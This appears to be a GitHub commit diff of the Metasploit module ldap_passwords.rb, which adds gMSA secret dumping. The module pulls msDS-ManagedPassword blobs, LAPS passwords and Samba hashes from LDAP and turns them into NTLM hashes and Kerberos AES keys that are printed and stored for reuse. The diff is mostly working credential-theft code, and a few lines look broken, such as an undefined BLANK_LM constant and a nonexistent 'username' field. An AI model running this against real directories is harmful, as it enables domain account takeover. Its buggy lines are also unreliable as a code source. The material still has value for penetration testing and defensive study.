Skip to content

Commit 714f667

Browse files
committed
Finish adding gMSA secret dumping
1 parent 68a3f56 commit 714f667

File tree

1 file changed

+96
-52
lines changed

1 file changed

+96
-52
lines changed

modules/auxiliary/gather/ldap_passwords.rb

Lines changed: 96 additions & 52 deletions
Original file line numberDiff line numberDiff line change
@@ -109,7 +109,7 @@ def run_host(_ip)
109109
print_status("Searching base DN: #{base_dn}")
110110
entries_returned += ldap_search(ldap, base_dn, base: base_dn)
111111
unless @ad_ds_domain_info.nil?
112-
attributes = %w[dn sAMAccountName msDS-ManagedPassword]
112+
attributes = %w[dn msDS-ManagedPassword sAMAccountName]
113113
attributes << datastore['USER_ATTR'] unless datastore['USER_ATTR'].blank? || attributes.include?(datastore['USER_ATTR'])
114114
entries_returned += ldap_search(ldap, base_dn, base: base_dn, filter: '(objectClass=msDS-GroupManagedServiceAccount)', attributes: attributes)
115115
end
@@ -142,7 +142,7 @@ def ldap_search(ldap, base_dn, args)
142142
entries_returned += 1
143143
password_attributes.each do |attr|
144144
if entry[attr].any?
145-
creds_found += process_hash(entry, attr)
145+
creds_found += process_entry(entry, attr)
146146
end
147147
end
148148
end
@@ -188,7 +188,7 @@ def decode_pwdhistory(hash)
188188
hash
189189
end
190190

191-
def process_hash(entry, attr)
191+
def process_entry(entry, attr)
192192
creds_found = 0
193193
username = [datastore['USER_ATTR'], 'sAMAccountName', 'uid', 'dn'].map { entry[_1] }.reject(&:blank?).first.first
194194

@@ -229,61 +229,79 @@ def process_hash(entry, attr)
229229

230230
if attr =~ /^samba(lm|nt)password$/
231231
next if private_data.length != 32
232-
next if private_data.case_cmp?('aad3b435b51404eeaad3b435b51404ee') || private_data.case_cmp?('31d6cfe0d16ae931b73c59d7e0c089c0')
232+
next if private_data.case_cmp?(EMPTY_LM.unpack1('H*'))
233+
next if private_data.case_cmp?(EMPTY_NT.unpack1('H*'))
233234
end
234235

235236
# observed sambapassword history with either 56 or 64 zeros
236237
next if attr == 'sambapasswordhistory' && private_data =~ /^(0{64}|0{56})$/
237238

238-
jtr_format = nil
239-
annotation = ''
239+
artifacts = SecretArtifact.new(public_data: username, private_data: private_data, private_type: :password)
240240

241241
case attr
242242
when 'sambalmpassword'
243-
jtr_format = 'lm'
243+
artifacts.jtr_format = 'lm'
244+
artifacts.private_type = :nonreplayable_hash
244245
when 'sambantpassword'
245-
jtr_format = 'nt'
246+
artifacts.jtr_format = 'nt,lm'
247+
artifacts.private_type = :ntlm_hash
248+
artifacts.private_data = "#{BLANK_LM.unpack('H*')}:#{private_data}"
246249
when 'sambapasswordhistory'
247250
# 795471346779677A336879366B654870 1F18DC5E346FDA5E335D9AE207C82CC9
248251
# where the left part is a salt and the right part is MD5(Salt+NTHash)
249252
# attribute value may contain multiple concatenated history entries
250253
# for john sort of 'md5($s.md4(unicode($p)))' - not tested
251-
jtr_format = 'sambapasswordhistory'
254+
artifacts.jtr_format = 'sambapasswordhistory'
255+
artifacts.private_type = :nonreplayable_hash
252256
when 'krbprincipalkey'
253-
jtr_format = 'krbprincipal'
257+
artifacts.jtr_format = 'krbprincipal'
258+
artifacts.private_type = :nonreplayable_hash
254259
# TODO: krbprincipalkey is asn.1 encoded string. In case of vmware vcenter 6.7
255260
# it contains user password encrypted with (23) rc4-hmac and (18) aes256-cts-hmac-sha1-96:
256261
# https://github.com/vmware/lightwave/blob/d50d41edd1d9cb59e7b7cc1ad284b9e46bfa703d/vmdir/server/common/krbsrvutil.c#L480-L558
257262
# Salted with principal name:
258263
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
259264
# In the meantime, dump the base64 encoded value.
260-
private_data = Base64.strict_encode64(private_data)
265+
artifacts.private_data = Base64.strict_encode64(private_data)
261266
when 'ms-mcs-admpwd'
262267
# LAPSv1 doesn't store the name of the local administrator anywhere in LDAP. It's technically configurable via Group Policy, but we'll assume it's 'Administrator'.
263-
username = 'Administrator'
264-
annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['ms-mcs-admpwdexpirationtime'].first.to_i)})" if entry['ms-mcs-admpwdexpirationtime'].present?
268+
artifacts.public_data = 'Administrator'
269+
artifacts.annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['ms-mcs-admpwdexpirationtime'].first.to_i)})" if entry['ms-mcs-admpwdexpirationtime'].present?
265270
when 'msds-managedpassword'
266271
managed_password = MsdsManagedpasswordBlob.read(private_data)
267272
current_password = managed_password.buffer_fields[:current_password] # this field should always be present
268273
if current_password && (domain_dns_name = @ad_ds_domain_info&.fetch(:dns_name))
274+
artifacts = []
269275
sam_account_name = entry[:sAMAccountName].first.to_s
276+
270277
salt = "#{domain_dns_name.upcase}host#{sam_account_name.delete_suffix('$').downcase}.#{domain_dns_name.downcase}"
271278
encoded_current_password = current_password.force_encoding('UTF-16LE').encode('UTF-8', invalid: :replace, undef: :replace).force_encoding('ASCII-8BIT')
272279

273-
ntlm_hash = OpenSSL::Digest::MD4.digest(current_password)
274-
ntlm_hash = "#{sam_account_name}:2105:aad3b435b51404eeaad3b435b51404ee:#{ntlm_hash.unpack1('H*')}:::"
275-
aes256_key = aes256_cts_hmac_sha1_96(encoded_current_password, salt)
276-
aes256_key = "#{domain_dns_name}\\#{sam_account_name}:aes256-cts-hmac-sha1-96:#{aes256_key.unpack1('H*')}"
277-
aes128_key = aes128_cts_hmac_sha1_96(encoded_current_password, salt)
278-
aes128_key = "#{domain_dns_name}\\#{sam_account_name}:aes128-cts-hmac-sha1-96:#{aes128_key.unpack1('H*')}"
279-
des_key = des_cbc_md5(encoded_current_password, salt)
280-
des_key = "#{domain_dns_name}\\#{sam_account_name}:des-cbc-md5:#{des_key.unpack1('H*')}"
281-
282-
print_good(ntlm_hash)
283-
print_good(aes256_key)
284-
print_good(aes128_key)
285-
print_good(des_key)
286-
private_data = 'see above'
280+
artifacts << SecretArtifact.new(
281+
public_data: username,
282+
private_data: "#{EMPTY_LM.unpack1('H*')}:#{OpenSSL::Digest::MD4.digest(current_password).unpack1('H*')}",
283+
private_type: :ntlm_hash,
284+
jtr_format: 'nt,lm'
285+
)
286+
287+
artifacts << SecretArtifact.new(
288+
public_data: username,
289+
private_data: Metasploit::Credential::KrbEncKey.build_data(
290+
enctype: Rex::Proto::Kerberos::Crypto::Encryption::AES256,
291+
key: aes256_cts_hmac_sha1_96(encoded_current_password, salt),
292+
salt: salt
293+
),
294+
private_type: :krb_enc_key
295+
)
296+
artifacts << SecretArtifact.new(
297+
public_data: username,
298+
private_data: Metasploit::Credential::KrbEncKey.build_data(
299+
enctype: Rex::Proto::Kerberos::Crypto::Encryption::AES128,
300+
key: aes128_cts_hmac_sha1_96(encoded_current_password, salt),
301+
salt: salt
302+
),
303+
private_type: :krb_enc_key
304+
)
287305
end
288306
when 'mslaps-password'
289307
begin
@@ -294,34 +312,35 @@ def process_hash(entry, attr)
294312
next
295313
end
296314

297-
username = lapsv2['n']
298-
private_data = lapsv2['p']
299-
annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['mslaps-passwordexpirationtime'].first.to_i)})" if entry['mslaps-passwordexpirationtime'].present?
315+
artifacts.public_data = lapsv2['n']
316+
artifacts.private_data = lapsv2['p']
317+
artifacts.annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['mslaps-passwordexpirationtime'].first.to_i)})" if entry['mslaps-passwordexpirationtime'].present?
300318
when 'mslaps-encryptedpassword'
301319
lapsv2 = process_result_lapsv2_encrypted(entry)
302320
next if lapsv2.nil?
303321

304-
username = lapsv2['n']
305-
private_data = lapsv2['p']
306-
annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['mslaps-passwordexpirationtime'].first.to_i)})" if entry['mslaps-passwordexpirationtime'].present?
322+
artifacts.username = lapsv2['n']
323+
artifacts.private_data = lapsv2['p']
324+
artifacts.annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['mslaps-passwordexpirationtime'].first.to_i)})" if entry['mslaps-passwordexpirationtime'].present?
307325
when 'userpkcs12'
308-
# if we get non printable chars, encode into base64
326+
# if we get non-printable chars, encode into base64
309327
if (private_data =~ /[^[:print:]]/).nil?
310-
jtr_format = 'pkcs12'
328+
artifacts.jtr_format = 'pkcs12'
311329
else
312-
jtr_format = 'pkcs12-base64'
313-
private_data = Base64.strict_encode64(private_data)
330+
artifacts.jtr_format = 'pkcs12-base64'
331+
artifacts.private_data = Base64.strict_encode64(private_data)
314332
end
333+
artifacts.private_type = :nonreplayable_hash
315334
else
316335
if private_data.start_with?(/{crypt}.?\$1\$/i)
317-
private_data.gsub!(/{crypt}.{,2}\$1\$/i, '$1$')
318-
jtr_format = 'md5crypt'
336+
artifacts.private_data.gsub!(/{crypt}.{,2}\$1\$/i, '$1$')
337+
artifacts.jtr_format = 'md5crypt'
319338
elsif private_data.start_with?(/{crypt}/i) && private_data.length == 20
320339
# handle {crypt}traditional_crypt case, i.e. explicitly set the hash format
321-
private_data.slice!(/{crypt}/i)
340+
artifacts.private_data.slice!(/{crypt}/i)
322341
# FIXME: what is the right jtr_hash - des,crypt or descrypt ?
323342
# identify_hash returns des,crypt, while JtR acceppts descrypt
324-
jtr_format = 'descrypt'
343+
artifacts.jtr_format = 'descrypt'
325344
# TODO: not sure if we shall slice the prefixes here or in the JtR/Hashcat formatter
326345
# elsif hash.start_with?(/{sha256}/i)
327346
# hash.slice!(/{sha256}/i)
@@ -330,27 +349,51 @@ def process_hash(entry, attr)
330349
# handle vcenter vmdir binary hash format
331350
if private_data[0].ord == 1 && private_data.length == 81
332351
_type, private_data, salt = private_data.unpack('CH128H32')
333-
private_data = "$dynamic_82$#{private_data}$HEX$#{salt}"
352+
artifacts.private_data = "$dynamic_82$#{private_data}$HEX$#{salt}"
334353
else
335354
# Remove LDAP's {crypt} prefix from known hash types
336-
private_data.gsub!(/{crypt}.{,2}(\$[0256][aby]?\$)/i, '\1')
355+
artifacts.private_data.gsub!(/{crypt}.{,2}(\$[0256][aby]?\$)/i, '\1')
337356
end
338-
jtr_format = Metasploit::Framework::Hashes.identify_hash(private_data)
357+
artifacts.jtr_format = Metasploit::Framework::Hashes.identify_hash(artifacts.private_data)
339358
end
359+
artifacts.private_type = :nonreplayable_hash
340360
end
341361

342-
# highlight unresolved hashes
343-
jtr_format = '{crypt}' if private_data =~ /{crypt}/i
344-
print_good("Credentials (#{jtr_format.blank? ? 'password' : jtr_format}) found in #{attr}: #{username}:#{private_data} #{annotation}")
362+
Array.wrap(artifacts).each do |artifact|
363+
# highlight unresolved hashes
364+
artifact.jtr_format = '{crypt}' if artifact.private_data =~ /{crypt}/i
365+
366+
case artifact.private_type
367+
when :krb_enc_key
368+
_, enctype, key, salt = artifact.private_data.split(':')
369+
formatted = "#{artifact.public_data}:#{Rex::Proto::Kerberos::Crypto::Encryption::IANA_NAMES[enctype.to_i]}:#{key}"
370+
when :password
371+
formatted = "#{artifact.public_data}:#{artifact.private_data}"
372+
else
373+
formatted = Metasploit::Framework::PasswordCracker::JtR::Formatter.params_to_jtr(
374+
artifact.public_data,
375+
artifact.private_data,
376+
artifact.private_type,
377+
format: artifact.jtr_format
378+
)
379+
if formatted.nil?
380+
formatted = "#{artifact.public_data}:#{artifact.private_data}"
381+
end
382+
end
383+
print_good("Credential found in #{attr}: #{formatted} #{artifact.annotation}")
384+
385+
report_creds(artifact.public_data, artifact.private_data, artifact.private_type, artifact.jtr_format)
386+
end
345387

346-
report_creds(username, private_data, jtr_format)
388+
# only increment once because the iteration is per-attribute so report one credential found even if it's reported
389+
# in multiple formats
347390
creds_found += 1
348391
end
349392

350393
creds_found
351394
end
352395

353-
def report_creds(username, private_data, jtr_format)
396+
def report_creds(username, private_data, private_type, jtr_format)
354397
# this is the service the credentials came from, not necessarily where they can be used
355398
service_data = {
356399
address: rhost,
@@ -365,7 +408,7 @@ def report_creds(username, private_data, jtr_format)
365408
origin_type: :service,
366409
status: Metasploit::Model::Login::Status::UNTRIED,
367410
private_data: private_data,
368-
private_type: (jtr_format.nil? ? :password : :nonreplayable_hash),
411+
private_type: private_type,
369412
jtr_format: jtr_format,
370413
username: username
371414
}.merge(service_data)
@@ -375,8 +418,7 @@ def report_creds(username, private_data, jtr_format)
375418
credential_data[:realm_value] = @ad_ds_domain_info[:dns_name]
376419
end
377420

378-
cl = create_credential_and_login(credential_data)
379-
cl.respond_to?(:core_id) ? cl.core_id : nil
421+
create_credential_and_login(credential_data)
380422
end
381423

382424
def process_result_lapsv2_encrypted(result)
@@ -450,6 +492,8 @@ def process_result_lapsv2_encrypted(result)
450492
JSON.parse(RubySMB::Field::Stringz16.read(plaintext).value)
451493
end
452494

495+
SecretArtifact = Struct.new(:public_data, :private_data, :private_type, :jtr_format, :annotation)
496+
453497
# https://blog.xpnsec.com/lapsv2-internals/#:~:text=msLAPS%2DEncryptedPassword%20attribute
454498
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/b6ea7b78-64da-48d3-87cb-2cff378e4597
455499
class LAPSv2EncryptedPasswordBlob < BinData::Record

0 commit comments

Comments
 (0)